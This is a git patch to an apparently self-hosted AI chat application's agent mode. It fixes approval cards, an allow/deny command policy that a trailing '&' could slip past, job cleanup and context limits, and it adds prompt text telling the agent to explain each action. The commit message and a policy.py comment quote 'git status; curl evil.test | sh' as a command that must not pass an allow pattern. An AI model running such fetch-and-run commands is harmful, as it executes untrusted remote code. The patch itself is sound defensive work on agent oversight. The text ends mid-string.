From b03dfa24fd02dc86c03d02d6069fad3fb48912b1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jaroslav=20Bene=C5=A1?= Date: Mon, 3 Aug 2026 21:58:42 +0200 Subject: [PATCH] Four things that failed silently in an agent chat, and an account of the work Each of the first four looked like it worked. That is what they have in common, and why the tests are written against the property rather than the markup. **The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the module logger -- where it meant `{logf}`, so every launch-and-wait wrapper ended `rm -f ... ...`, which is a shell syntax error. It died after the sentinel, where nothing reads it, so commands still worked while every one of them left four files on the far side forever, including the log holding everything it printed. Every wrapper now goes through `sh -n`. **The approval card could show something other than what ran.** The card did a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback put the raw string into the tool's first required parameter, which for `shell_run` is the command. So invalid JSON -- a normal path with small models -- produced a card headed "Run a command" with an empty body, and `policy.decide` was handed an empty command line matching neither list. Arguments are parsed once now, in `tools.parse_arguments`, and the same dict reaches the card, the policy and the runner. **One character walked past the deny list.** `subject()` yields nothing for a command line carrying a metacharacter, which is what stops `git *` also meaning `git status; curl evil.test | sh`. The note said a deny list needed no such care because failing open returns you to the mode -- true of Manual, Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now` asked; `shutdown -h now &` ran. **"Always allow this" allowed nothing.** The verdict was accepted, treated as permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from patterns derived server-side from the approved item -- the endpoint takes an id and a verdict and nothing else -- and the list is shown in the scope menu with a Clear beside it. Two more found while fixing them: **A reply could grow its request past the window with nothing watching.** Compaction runs once, before the first round. The only other guard defaults to a megabyte, larger than the window of nearly every model this talks to. `_too_big` stops between rounds now, and the estimate it reads is recomputed per round rather than once -- which is also what the metrics report on every endpoint that sends no usage block. **The harness ceiling was dropping AGENTS.md.** 8000 characters, against ~7,900 of fragments plus the 2,000 and 4,000 the index and instruction budgets grant by default. `assemble` cuts the tail, so on a default install the project listing was severed and the project's own instructions never reached the model at all. And, because an agent that works for ten minutes should be readable while it does: **Every action says what it is for.** `shell_run`, `file_write`, `file_edit` and `job_stop` take a `why`: one line, carried onto the approval card above the command and into the transcript's summary line rather than its collapsed body. Auto mode is the case it exists for -- nothing stops for approval there, so without it a reader watches a list of commands with no account of any of them until the reply ends. Kept apart from the reason *we* stopped: an explanation a reader takes for the application's own would be LLeMbas vouching for text a model wrote. **And the reply says what it is doing as it goes.** `core.objective` and `core.narrate`, both agent-only. The second is deliberately the opposite of `core.tools_preamble`'s "do not announce that you are about to", which is right for a short answer -- read once it is finished -- and wrong for a long piece of work, which is watched while it runs. It says so in its own words rather than referring to a fragment an administrator may have cleared. Co-Authored-By: Claude Opus 5 (1M context) --- src/lembas/api/chats.py | 78 +++- src/lembas/api/pages.py | 11 +- src/lembas/services/agent/jobs.py | 7 +- src/lembas/services/agent/policy.py | 37 +- src/lembas/services/agent/session.py | 17 +- src/lembas/services/agent/tools.py | 76 +++- src/lembas/services/generation.py | 155 +++++-- src/lembas/services/harness.py | 21 +- src/lembas/services/interaction.py | 6 + src/lembas/services/prompts.py | 55 +++ src/lembas/services/tools.py | 89 +++- src/lembas/web/static/css/chat.css | 25 +- src/lembas/web/templates/chat/_composer.html | 28 +- .../web/templates/chat/_interaction.html | 7 + .../web/templates/chat/_tool_activity.html | 11 + tests/test_agent_interaction.py | 47 +++ tests/test_agent_jobs.py | 56 +++ tests/test_agent_policy.py | 49 ++- tests/test_agent_tools.py | 391 ++++++++++++++++++ tests/test_harness.py | 45 ++ tests/test_prompts.py | 13 +- tests/test_tool_activity.py | 41 ++ 22 files changed, 1197 insertions(+), 68 deletions(-) diff --git a/src/lembas/api/chats.py b/src/lembas/api/chats.py index af578d6..ad80355 100644 --- a/src/lembas/api/chats.py +++ b/src/lembas/api/chats.py @@ -32,9 +32,9 @@ from lembas.services import chat as chat_service from lembas.services import compaction as compaction_service from lembas.services import files as files_service from lembas.services import generation as generation_service +from lembas.services import interaction, settings_store, sse from lembas.services import metrics as metrics_service from lembas.services import prompts as prompts_service -from lembas.services import settings_store, sse from lembas.services import tools as tools_service from lembas.services.agent import policy as agent_policy from lembas.services.agent import terminal as terminal_service @@ -1309,6 +1309,16 @@ async def answer_interaction( """ chat = _owned_chat(db, chat_id, user.id) form = await request.form() + verdict = str(form.get("verdict") or "").strip() + + # Read and recorded *before* resolving: `interaction.wait_for` clears + # `generation.pending` in its `finally`, so a moment later there is nothing + # left to remember and "always" would quietly mean "once". + remembered = 0 + if verdict == interaction.ALLOW_ALWAYS: + remembered = _remember_always( + db, chat, generation_service.pending_items(chat.id, interaction_id) + ) answers: dict[str, str] = {} for field, value in form.multi_items(): @@ -1324,7 +1334,7 @@ async def answer_interaction( answered = generation_service.answer( chat.id, interaction_id, - verdict=str(form.get("verdict") or "").strip(), + verdict=verdict, answers=answers, ) @@ -1333,9 +1343,73 @@ async def answer_interaction( response.headers["HX-Trigger"] = json.dumps( {"lembas:notify": {"message": "That question is no longer waiting for an answer."}} ) + elif remembered: + response.headers["HX-Trigger"] = json.dumps( + { + "lembas:notify": { + "message": ( + f"This chat will not ask about {remembered} more action" + f"{'' if remembered == 1 else 's'}. Clear that from the menu " + "beside the composer." + ) + } + } + ) return response +def _remember_always(db: DBSession, chat: Chat, items) -> int: + """Record what "always allow" was said about. Returns how many were new. + + The pattern is derived **here**, from the item that was approved, and never + taken from the request -- the endpoint accepts an interaction id and a + verdict and nothing else. `agent_policy.subject` is the same normaliser + `decide` matches with, so what is stored is exactly what will be compared + later; it returns None for a command line carrying a shell metacharacter, + which is precisely the shape that must never become a standing permission. + + A tool name for everything that is not a command, which is the convention + the shipped `allow_default` already uses: `file_read` and `file_list` are + entries in it. + """ + scope = dict(chat.scope_json or {}) + entries = list(scope.get("allow") or []) + added = 0 + + for item in items: + if item.kind != interaction.KIND_APPROVAL or len(entries) >= MAX_SCOPE_KEYS: + continue + pattern = agent_policy.subject(item.tool_name, item.detail) + if not pattern or pattern in entries: + continue + entries.append(pattern) + added += 1 + + if added: + # Reassigned rather than mutated: a plain dict assignment into a JSON + # column is not detected. + chat.scope_json = {**scope, "allow": entries} + db.commit() + log.info("chat %s will stop asking about %d action(s)", chat.id, added) + return added + + +@router.post("/{chat_id}/allow/clear") +async def clear_allow(db: Db, user: RequiredUser, chat_id: str) -> Response: + """Forget everything this chat was told to stop asking about. + + An empty body rather than a 204, because the row in the menu has to + disappear -- htmx does not swap on a 204, and a Clear that leaves the count + on screen is the silent control this codebase keeps cataloguing. + """ + chat = _owned_chat(db, chat_id, user.id) + scope = dict(chat.scope_json or {}) + if scope.pop("allow", None) is not None: + chat.scope_json = scope + db.commit() + return HTMLResponse("") + + @router.patch("/{chat_id}") async def update_chat(request: Request, db: Db, user: RequiredUser, chat_id: str) -> Response: """Partially update a chat. diff --git a/src/lembas/api/pages.py b/src/lembas/api/pages.py index b0115eb..b86635f 100644 --- a/src/lembas/api/pages.py +++ b/src/lembas/api/pages.py @@ -86,7 +86,7 @@ def _scope_context(db: DBSession, user: User, chat: Chat | None) -> dict: from lembas.services.library import skills as skills_service if chat is None: - return {"scope_families": [], "scope_skills": []} + return {"scope_families": [], "scope_skills": [], "scope_allow": []} off = tools_service.scoped_off(chat) skills_off = tools_service.scoped_skills_off(chat) @@ -124,7 +124,14 @@ def _scope_context(db: DBSession, user: User, chat: Chat | None) -> dict: if name not in {s["name"] for s in skills}: skills.append({"name": name, "description": "", "on": False}) - return {"scope_families": families, "scope_skills": skills} + # What this chat has been told to stop asking about. Shown so the list + # cannot grow invisibly: every entry is one click of "Always allow this" on + # a card, and a standing permission nobody can see is one nobody can revoke. + return { + "scope_families": families, + "scope_skills": skills, + "scope_allow": list(tools_service.scoped_allow(chat)), + } # What a gate is called in the menu. A gate covers several tools, so no single diff --git a/src/lembas/services/agent/jobs.py b/src/lembas/services/agent/jobs.py index 02b5fdc..9618317 100644 --- a/src/lembas/services/agent/jobs.py +++ b/src/lembas/services/agent/jobs.py @@ -179,7 +179,12 @@ def launch_and_wait_command(chat_id: str, job_id: str, command: str, max_bytes: f"tail -c {max_bytes} {logf} 2>/dev/null\n" f"printf '\\n{s}:'\n" f"cat {exit_} 2>/dev/null || printf LOST\n" - f"rm -f {_file(chat_id, job_id, 'sh')} {pid} {log} {exit_}\n" + # `logf`, not `log`. The module logger is a perfectly good f-string + # operand and formats to "", whose angle brackets and + # parentheses are shell syntax -- so this line died with a syntax error, + # after the sentinel where nothing reads it, and every job's four files + # were left on the far side forever. See the note in CLAUDE.md. + f"rm -f {_file(chat_id, job_id, 'sh')} {pid} {logf} {exit_}\n" ) diff --git a/src/lembas/services/agent/policy.py b/src/lembas/services/agent/policy.py index 655fd8d..abe552d 100644 --- a/src/lembas/services/agent/policy.py +++ b/src/lembas/services/agent/policy.py @@ -86,11 +86,15 @@ POLICY: dict[str, dict[str, str]] = { MODE_PLAN: {RISK_READ: ALLOW, RISK_WRITE: ASK, RISK_EXECUTE: ASK}, } -# A shell metacharacter makes a command line unmatchable, so it falls through to -# the mode's own verdict rather than to an allow-list entry. Without this, -# `git *` in an allow list also matches `git status; curl evil.test | sh`, which -# is the whole ballgame. A deny list needs no such rule: failing open there -# returns you to the mode, while failing open on an allow list runs the command. +# A shell metacharacter makes a command line unmatchable, so no pattern may be +# applied to it. Without this, `git *` in an allow list also matches +# `git status; curl evil.test | sh`, which is the whole ballgame. +# +# The original reasoning stopped there, arguing a deny list needed no such care +# because "failing open returns you to the mode". That is true of Manual, Edit +# and Plan, where the mode is ASK -- and false of Auto, where it is ALLOW. So +# `shutdown -h now` asked and `shutdown -h now &` ran, and one character was the +# whole of the difference. See `decide`. _UNSAFE = re.compile(r"[;&|<>`$\n\\()]") @@ -171,11 +175,13 @@ def decide( 1. A deny wins before everything, **including Auto**. A deny list that Auto ignores is not a deny list, it is a suggestion. - 2. `ask` never resolves to allow. `ask_user` asks in every mode; that is + 2. A command line nobody can match is not a command line the deny list can + clear. See below. + 3. `ask` never resolves to allow. `ask_user` asks in every mode; that is what the tool is for, and a mode that skipped it would answer the model's question on the reader's behalf. - 3. An allow-list hit runs it. - 4. Otherwise the table. + 4. An allow-list hit runs it. + 5. Otherwise the table. An unrecognised mode is treated as Manual, not Auto: a row that predates a rename has to fail towards asking. @@ -186,6 +192,21 @@ def decide( if hit: return Decision(ASK, f"“{hit}” is on the list of commands to always ask about.") + # Unmatchable *and* somebody has said what to always ask about. Falling + # through here is what let `shutdown -h now &` run in Auto while + # `shutdown -h now` asked: `subject` returns None for anything containing a + # metacharacter, `_matches` returns "" for None, and Auto's row is ALLOW. + # + # Only when there is a deny list at all. Making every compound command ask + # regardless would take `cd build && make` -- which is most real commands -- + # away from the mode whose whole purpose is not asking. + if candidate is None and deny: + return Decision( + ASK, + "This command line runs more than one thing, so it cannot be " + "checked against the list of commands to always ask about.", + ) + if risk == RISK_ASK: return Decision(ASK, "") diff --git a/src/lembas/services/agent/session.py b/src/lembas/services/agent/session.py index 97ea919..2369bed 100644 --- a/src/lembas/services/agent/session.py +++ b/src/lembas/services/agent/session.py @@ -149,6 +149,17 @@ def profile_for(db: DBSession, chat: Chat, user: User | None) -> SshProfile | No return profile +def _allow_for(chat: Chat) -> tuple[str, ...]: + """Imported inside `resolve` rather than at module scope. + + `services/tools.py` imports this module's `resolve`, so a top-level import + back the other way is a cycle. + """ + from lembas.services import tools as tools_service + + return tools_service.scoped_allow(chat) + + def resolve(db: DBSession, chat: Chat, user: User | None) -> AgentContext | None: """This chat's agent setup, or None if it has none it can use. @@ -179,7 +190,11 @@ def resolve(db: DBSession, chat: Chat, user: User | None) -> AgentContext | None project_dir=chat.project_dir or profile.default_dir or "", profile_id=profile.id, mode=chat.agent_mode if chat.agent_mode in policy.MODES else policy.MODE_MANUAL, - allow=tuple(values.get("allow_default") or ()), + # The instance's list, plus whatever this chat's reader has said + # "always" to on a card. Never the other way round for the deny list: + # a chat cannot un-deny anything, and `decide` consults deny first + # regardless. + allow=(*(values.get("allow_default") or ()), *_allow_for(chat)), deny=tuple(values.get("deny_default") or ()), limits=Limits( steps=int(values.get("max_steps") or 200), diff --git a/src/lembas/services/agent/tools.py b/src/lembas/services/agent/tools.py index 490fcb3..30bba1e 100644 --- a/src/lembas/services/agent/tools.py +++ b/src/lembas/services/agent/tools.py @@ -51,6 +51,57 @@ MAX_DIFF_LINES = 200 _STRING = {"type": "string"} +# What the model says it is doing, offered on everything that changes something +# or that stops for approval. It is shown to the person -- above the command on +# an approval card, and beside the call in the transcript when nothing stopped +# for approval at all -- which is the only reason it exists: in Auto mode a +# reader otherwise watches a list of commands with no account of what they are +# for until the reply ends. +# +# Not on `file_read`, `file_list` or `file_search`. They are the hot path, their +# detail says everything ("Read src/main.py"), and a schema property costs +# tokens on every request whether or not it is filled in. +_WHY = { + **_STRING, + "description": ( + "One short line saying what you are doing this for, in plain language. " + "It is shown to the person — beside the command when they are asked to " + "approve it, and in the transcript when they are not." + ), +} + +# One line, and short. It goes in a summary line beside the command, and it is +# stored on the message row forever. +MAX_WHY_CHARS = 240 + + +def why_of(args: dict[str, Any]) -> str: + """What the model said this call is for, as one short line.""" + return " ".join(str(args.get("why") or "").split())[:MAX_WHY_CHARS] + + +def _explained(run): + """Wrap a runner so whatever it returns carries the model's explanation. + + Applied at the `ToolDef`, next to the schema that declares `why`, so the two + halves cannot drift apart -- a tool that offers the argument records it, and + one that does not offer it never sees it. + + A wrapper rather than a parameter threaded through, because `shell_run` + alone builds its outcome in five places -- foreground, convertible, + launched, backgrounded and the shared formatter -- and none of them has any + other reason to know this exists. `ToolOutcome.event` is a plain mutable + dict, so every path through a runner is covered by one line here. + """ + + async def wrapped(context: ToolContext, args: dict[str, Any]) -> ToolOutcome: + outcome = await run(context, args) + if why := why_of(args): + outcome.event["why"] = why + return outcome + + return wrapped + def _event(name: str, context: AgentContext, summary: str, **extra: Any) -> dict[str, Any]: """One line in the transcript for one call. @@ -715,6 +766,7 @@ def _no_machine(name: str) -> ToolOutcome: def _shell_parameters(background_on: bool) -> dict[str, Any]: properties: dict[str, Any] = { "command": {**_STRING, "description": "The command line to run."}, + "why": _WHY, "cwd": {**_STRING, "description": "Where to run it. Defaults to the project directory."}, "timeout": { "type": "number", @@ -758,7 +810,7 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]: "non-interactive rather than waiting for it to ask." ), parameters=_shell_parameters(bool(context and context.background)), - run=_run_shell, + run=_explained(_run_shell), risk=RISK_EXECUTE, ), ToolDef( @@ -793,10 +845,11 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]: "properties": { "path": {**_STRING, "description": "The file to write."}, "content": {**_STRING, "description": "Its whole new contents."}, + "why": _WHY, }, "required": ["path", "content"], }, - run=_run_write, + run=_explained(_run_write), risk=RISK_WRITE, ), ToolDef( @@ -823,10 +876,11 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]: **_STRING, "description": "The unified diff to apply.", }, + "why": _WHY, }, "required": ["path", "patch"], }, - run=_run_edit, + run=_explained(_run_edit), risk=RISK_WRITE, ), ToolDef( @@ -1027,10 +1081,13 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]: description="Stop a background job, killing it and everything it started.", parameters={ "type": "object", - "properties": {"id": {**_STRING, "description": "The job id."}}, + "properties": { + "id": {**_STRING, "description": "The job id."}, + "why": _WHY, + }, "required": ["id"], }, - run=_run_job_stop, + run=_explained(_run_job_stop), # It terminates a process on the machine, so it goes through the mode # table exactly as shell_run does. risk=RISK_EXECUTE, @@ -1053,4 +1110,11 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]: return [tool for tool in defs if tool.name not in drop] -__all__ = ["FAMILY_AGENT", "MAX_DIFF_LINES", "MAX_EVENT_CHARS", "tool_defs"] +__all__ = [ + "FAMILY_AGENT", + "MAX_DIFF_LINES", + "MAX_EVENT_CHARS", + "MAX_WHY_CHARS", + "tool_defs", + "why_of", +] diff --git a/src/lembas/services/generation.py b/src/lembas/services/generation.py index cafa85b..2c8f55d 100644 --- a/src/lembas/services/generation.py +++ b/src/lembas/services/generation.py @@ -17,7 +17,6 @@ from __future__ import annotations import asyncio import contextlib -import json import logging import time import uuid @@ -35,6 +34,7 @@ from lembas.services import metrics as metrics_service from lembas.services import prompts as prompts_service from lembas.services import tools as tools_service from lembas.services.agent import policy as agent_policy +from lembas.services.agent import tools as agent_tools from lembas.services.llm.openai_client import ( LLMError, chunk_usage, @@ -69,6 +69,18 @@ MAX_TOOL_ROUNDS = 200 # say so and be believed rather than argued with indefinitely. MAX_NUDGES = 2 +# How much of the window a request may occupy before the next round is refused. +# A tool round appends an assistant turn and a tool turn per call, so a reply +# that keeps calling tools grows its own request until the endpoint refuses it -- +# and `_maybe_compact` runs once, before the first round, so nothing was watching +# it after that. The only other guard, `max_total_output_bytes`, defaults to a +# megabyte, which is about 260k tokens: larger than the window of nearly every +# model this talks to, so it never fired first. +# +# The tenth left over is room to answer in. Stopping with an explanation beats an +# upstream error that says only that the request was too long. +CONTEXT_HEADROOM = 0.9 + @dataclass class Generation: @@ -98,6 +110,14 @@ class Generation: # has a percentage to show while the reply is still being written -- real # usage only arrives in a single chunk at the very end. prompt_estimate: int = 0 + # Every round's estimate added up, against `prompt_estimate` being only the + # latest. The two answer different questions and both are wanted: what the + # reply *cost* is the sum, because a three-round reply pays for its prompt + # three times; what it *occupies* is the last one. That is exactly the split + # the reported figures already use between `prompt_tokens` and + # `context_tokens`, so the fallback mirrors it rather than inventing a + # second convention. + prompt_estimate_total: int = 0 rounds: int = 0 # time.monotonic() at the start. A field rather than a local in `_run` # because `_follow` is a different function that sees only this object, and @@ -215,6 +235,26 @@ def answer( return False +def pending_items(chat_id: str, interaction_id: str) -> tuple[interaction.Item, ...]: + """What the card this chat is waiting on is asking about. + + For the route that has to record what "always" meant. It must be read + *before* the pause is resolved: `interaction.wait_for` clears + `generation.pending` in its `finally`, so a moment later there is nothing + left to read and "always" would silently remember nothing. + + Empty when there is no such pause -- already answered, timed out, or the + server restarted -- which is the same answer `answer` gives, and means a + stale card records nothing rather than half of something. + """ + for generation in _RUNNING.values(): + pending = generation.pending + if generation.chat_id != chat_id or pending is None or pending.id != interaction_id: + continue + return pending.items + return () + + def running_for(chat_id: str) -> Generation | None: """The reply being written in this chat, if there is one. @@ -381,8 +421,6 @@ async def _run(generation: Generation) -> None: chat_rounds = settings_store.chat_rounds(db) nudge_enabled = bool(settings_store.agents(db).get("nudge_unfinished")) - generation.prompt_estimate = tokens.estimate_request(payload) - limits = tool_context.agent.limits if tool_context.agent else None # A ceiling, not a schedule -- the loop below ends the moment a round # produces no tool calls, which is the model saying it is done. Zero @@ -394,6 +432,24 @@ async def _run(generation: Generation) -> None: for round_number in range(budget + 1): generation.rounds = round_number + 1 + # Recomputed every round, against once before the loop. The request + # grows by an assistant turn and a tool turn per call each time, so + # a single estimate taken up front described the first round and + # nothing after it -- and for the endpoints that send no usage block + # at all (llama.cpp, Ollama and friends) that estimate *is* the + # figure everything downstream reports. A forty-round reply showed + # the first round's prompt as the whole reply's. + generation.prompt_estimate = tokens.estimate_request(payload) + generation.prompt_estimate_total += generation.prompt_estimate + + # Before spending a request that cannot fit. Outside the agent + # branch below on purpose: an ordinary chat with a round budget can + # fill a small window too, and `context_limit` is what decides, + # not what kind of chat it is. + if round_number and _too_big(generation): + _gave_up(generation, "with no room left in the context window") + break + # Checked between rounds, never mid-stream: cutting a reply off in # the middle of a sentence to enforce a budget produces garbage, and # Stop already covers the mid-stream case. Time spent waiting for a @@ -530,15 +586,23 @@ async def _run(generation: Generation) -> None: break messages = [ + # The **raw** arguments string, not the parsed dict: the + # endpoint has to see back exactly what it sent, or an + # id-matching server pairs its own call with something it does + # not recognise. *payload["messages"], tools_service.assistant_turn(calls, "".join(round_text)), ] + # Parsed once, here, and shared by everything below: the approval + # card, `policy.decide`, and the runner. See `_arguments_for`. + arguments = _arguments_for(tool_context, calls) + # Decided before anything runs, never during. A round's calls run # together under a semaphore, and four people-shaped pauses inside # that gather would queue behind each other invisibly -- see # services/interaction.py. - decided, allowed = await _authorise(generation, tool_context, calls) + decided, allowed = await _authorise(generation, tool_context, calls, arguments) if generation.stopped: break @@ -546,7 +610,7 @@ async def _run(generation: Generation) -> None: generation.touch() try: outcomes = await _run_calls( - tool_context, calls, decided=decided, allowed=allowed + tool_context, calls, arguments, decided=decided, allowed=allowed ) finally: generation.status = "" @@ -620,8 +684,14 @@ async def _run(generation: Generation) -> None: generation.completion_tokens = tokens.estimate( generation.text + generation.thinking ) - generation.prompt_tokens = generation.prompt_estimate - generation.context_tokens = generation.prompt_tokens + generation.completion_tokens + # Mirroring the reported figures exactly: the prompt is summed + # across rounds because it was paid for each time, while what the + # reply *occupies* is the last round's prompt plus what was written. + # Both used to come from one estimate taken before the first round. + generation.prompt_tokens = ( + generation.prompt_estimate_total or generation.prompt_estimate + ) + generation.context_tokens = generation.prompt_estimate + generation.completion_tokens # Naming the chat is a second, short completion, so it has to happen # here rather than in the synchronous persist step below. Best-effort: @@ -900,6 +970,20 @@ def _nudge( } +def _too_big(generation: Generation) -> bool: + """Whether the request about to go out leaves no room to answer in. + + `context_limit` of 0 is *unknown*, not small -- the rule this codebase + already applies to the context percentage and to automatic compaction -- so + a model nobody has declared a window for is never stopped by this. That is + the honest answer: the alternative is refusing to work on every model an + administrator has not filled a number in for. + """ + if not generation.context_limit: + return False + return generation.prompt_estimate > generation.context_limit * CONTEXT_HEADROOM + + def _written(generation: Generation) -> int: """How much this reply has written so far, in tokens, reported or estimated. @@ -931,12 +1015,29 @@ def _tool_status(calls: list[dict]) -> str: return f"Running {len(calls)} tools…" -def _arguments_of(call: dict) -> dict: - try: - args = json.loads(call["arguments"] or "{}") - except json.JSONDecodeError: - return {} - return args if isinstance(args, dict) else {} +def _book(context) -> dict: + """The tools this request may call, keyed by name. + + `context.tools` is authoritative *even when empty* -- a dict means somebody + resolved a set. Only `None` means nobody did, which is the one case that + falls back to the import-time registry. + """ + return context.tools if context.tools is not None else tools_service.REGISTRY + + +def _arguments_for(context, calls: list[dict]) -> list[dict]: + """Every call's arguments in this round, parsed once. + + Once, and shared: the card, the policy and the runner all read the same + dict. Two parsers meant a model could emit malformed JSON and get an + approval card with an empty command body while `run_tool`'s own fallback + handed the raw string to `shell_run` and ran it. + """ + book = _book(context) + return [ + tools_service.parse_arguments(book.get(call["name"]), call["arguments"]) + for call in calls + ] def _describe(name: str, args: dict) -> tuple[str, str]: @@ -953,19 +1054,23 @@ def _describe(name: str, args: dict) -> tuple[str, str]: return tool_labels.describe(name, args) -def _approvals(context, calls: list[dict]) -> list[interaction.Item]: +def _approvals(context, calls: list[dict], arguments: list[dict]) -> list[interaction.Item]: """The calls in this round that a person has to allow before they run. Only in an agent chat: `context.agent` is None everywhere else, and an ordinary conversation behaves exactly as it did. Within one, *every* call goes through the table, including the built-in ones -- `notes_edit` writes, and Plan mode meaning "look but do not touch" has to mean that too. + + `arguments` is what `_arguments_for` parsed, positionally matched to + `calls`. Deliberately not re-parsed here: the card has to describe what the + runner will actually be given. """ agent = getattr(context, "agent", None) if agent is None: return [] - book = context.tools if context.tools is not None else tools_service.REGISTRY + book = _book(context) items: list[interaction.Item] = [] for index, call in enumerate(calls): @@ -973,7 +1078,7 @@ def _approvals(context, calls: list[dict]) -> list[interaction.Item]: if tool is None or tool.risk == tools_service.RISK_ASK: continue # unknown names are refused by run_tool; questions are their own card - args = _arguments_of(call) + args = arguments[index] command = str(args.get("command") or "") if call["name"] == "shell_run" else "" decision = agent_policy.decide( mode=agent.mode, @@ -996,12 +1101,13 @@ def _approvals(context, calls: list[dict]) -> list[interaction.Item]: title=f"{title} on {agent.label}", detail=detail, reason=decision.reason, + purpose=agent_tools.why_of(args), ) ) return items -def _ask_items(context, calls: list[dict]) -> list[interaction.Item]: +def _ask_items(context, calls: list[dict], arguments: list[dict]) -> list[interaction.Item]: """Which of this round's calls need a person, and what to show about each. Looked up through `context.tools`, the map of what was actually offered -- @@ -1009,14 +1115,14 @@ def _ask_items(context, calls: list[dict]) -> list[interaction.Item]: here and refused there, so an unknown tool cannot smuggle itself past by being unclassifiable. """ - book = context.tools if context.tools is not None else tools_service.REGISTRY + book = _book(context) items: list[interaction.Item] = [] for index, call in enumerate(calls): tool = book.get(call["name"]) if tool is None or tool.risk != tools_service.RISK_ASK: continue - args = _arguments_of(call) + args = arguments[index] for asked in _questions_in(args): options = [str(o).strip() for o in (asked.get("options") or []) if str(o).strip()] @@ -1064,7 +1170,7 @@ def _questions_in(args: dict) -> list[dict]: async def _authorise( - generation, context, calls: list[dict] + generation, context, calls: list[dict], arguments: list[dict] ) -> tuple[dict[int, ToolOutcome], set[int]]: """Which of this round's calls may run, and what the others answer instead. @@ -1079,8 +1185,8 @@ async def _authorise( very thing that was just approved -- the mode says "ask", and asking is what happened. """ - questions = _ask_items(context, calls) - approvals = _approvals(context, calls) + questions = _ask_items(context, calls, arguments) + approvals = _approvals(context, calls, arguments) items = [*approvals, *questions] if not items: return {}, set() @@ -1187,6 +1293,7 @@ def _answered(items: list[interaction.Item], reply: interaction.Reply) -> ToolOu async def _run_calls( context, calls: list[dict], + arguments: list[dict], *, decided: dict[int, ToolOutcome] | None = None, allowed: set[int] | None = None, @@ -1224,7 +1331,9 @@ async def _run_calls( ctx = replace(context, agent=context.agent.as_approved()) async with limit: - return await tools_service.run_tool(ctx, call["name"], call["arguments"]) + return await tools_service.run_tool( + ctx, call["name"], call["arguments"], parsed=arguments[index] + ) return list(await asyncio.gather(*(one(i, c) for i, c in enumerate(calls)))) diff --git a/src/lembas/services/harness.py b/src/lembas/services/harness.py index e0b8f82..9469cb1 100644 --- a/src/lembas/services/harness.py +++ b/src/lembas/services/harness.py @@ -47,9 +47,24 @@ from lembas.services.library import skills as skills_service log = logging.getLogger(__name__) # A ceiling on the whole block, so that a large library cannot quietly eat the -# context window. Memory and skills have their own caps below this one. An -# administrator can lower it; `max_harness_chars` of 0 means "use this". -MAX_HARNESS_CHARS = 8000 +# context window. An administrator can lower it; `max_harness_chars` of 0 means +# "use this". +# +# It has to be larger than everything the shipped defaults are already allowed +# to put in, and at 8000 it was not. The fragments alone are about 7,900 +# characters for an agent chat, and on top of that `index_chars` grants a 2,000 +# character project listing and `instructions_chars` a 4,000 character +# AGENTS.md -- both defaults, both on by default. The block was therefore cut at +# 8,000 on an ordinary agent chat, and `prompts.assemble` cuts the *tail*, which +# by fragment order is exactly the context worth having: the listing was severed +# mid-tree and `context.agent_instructions` was dropped in its entirety. The one +# path by which a project's own instructions reach a model did not reach it. +# +# The two big blocks already carry their own budgets, applied before assembly, +# so they are bounded whatever this is. What this bounds is the *fragments* +# growing without anybody noticing -- so it is set above the sum of what those +# budgets grant, with room for the plan and the memories beside them. +MAX_HARNESS_CHARS = 16000 # How many attached filenames to name in the prompt. Enough to show what the # tags will look like, few enough that a chat with thirty files does not spend diff --git a/src/lembas/services/interaction.py b/src/lembas/services/interaction.py index 86cf28a..6307c9a 100644 --- a/src/lembas/services/interaction.py +++ b/src/lembas/services/interaction.py @@ -77,6 +77,12 @@ class Item: title: str detail: str = "" reason: str = "" + # What the model says this call is for, in its own words -- distinct from + # `reason`, which is why *we* stopped ("Edit mode asks before anything that + # runs a command"). Model text, and shown as such: a card carrying an + # explanation somebody reads as the application's own would be a card + # vouching for it. + purpose: str = "" options: tuple[str, ...] = () allow_free_text: bool = True diff --git a/src/lembas/services/prompts.py b/src/lembas/services/prompts.py index 67b3d90..0330635 100644 --- a/src/lembas/services/prompts.py +++ b/src/lembas/services/prompts.py @@ -670,6 +670,54 @@ BUILTIN: tuple[Fragment, ...] = ( "to report progress and wait to be told to continue." ), ), + Fragment( + key="core.objective", + label="Working to an objective", + group=GROUP_CORE, + order=112, + families=("agent",), + hint="An agent chat only. A model given a piece of work drifts: it " + "starts on what was asked, finds something adjacent, and finishes " + "somewhere else without ever saying it changed course. Naming the " + "objective at the start makes the drift visible -- to the reader, and " + "to the model itself, which is then answerable to something it wrote " + "down. Not in an ordinary chat, where it would be preamble in front of " + "a two-line answer.", + default=( + "Settle what you are setting out to achieve before you start, and say it " + "in a line or two: the objective, and what would have to be true for it to " + "be done. Then hold to it. If what you find means the objective was wrong, " + "or cannot be met as stated, say so plainly and say what it is now — do " + "not slide quietly into a different piece of work. Before you finish, check " + "what you actually did against it and say whether it is met, partly met or " + "not, and what is left." + ), + ), + Fragment( + key="core.narrate", + label="Working out loud", + group=GROUP_CORE, + order=113, + families=("agent",), + hint="An agent chat only, and deliberately the opposite of the rule " + "above about not announcing tool calls -- which is right for a short " + "answer and wrong here. A short answer is read once it is finished; a " + "long piece of work is *watched while it runs*, and a reader who " + "cannot see what is being done cannot stop the wrong thing being done. " + "Text written before a tool call survives into the finished reply, so " + "this costs nothing beyond the tokens.", + default=( + "Work out loud. Before a round of tool calls, say in a line what you are " + "about to do and what you expect; when the results come back, say what you " + "actually found and what it changes — and then carry on in the same reply " + "rather than stopping to report. Announcing what you are about to do is " + "right here, even though it would be noise in a short answer.\n" + "Keep it to a line or two at a time, and make it findings rather than " + "narration: what you expected, what was actually there, what you are doing " + "about it. Anything you worked out and did not write down is lost when the " + "reply ends." + ), + ), Fragment( key="core.interjection", label="Being interrupted", @@ -957,6 +1005,13 @@ BUILTIN: tuple[Fragment, ...] = ( "`apt-get update` first or it reports the package as missing.\n" "- Look before you write. Read a file before replacing it, and list a " "directory before guessing at a path.\n" + "- Say what each one is for. `shell_run`, `file_write`, `file_edit` and " + "`job_stop` take a `why`: one line, in plain language. It is what the " + "person sees beside the action — on the card when they are asked to " + "approve it, and in the transcript when they are not.\n" + "- Check your work. Read a file back after changing it, 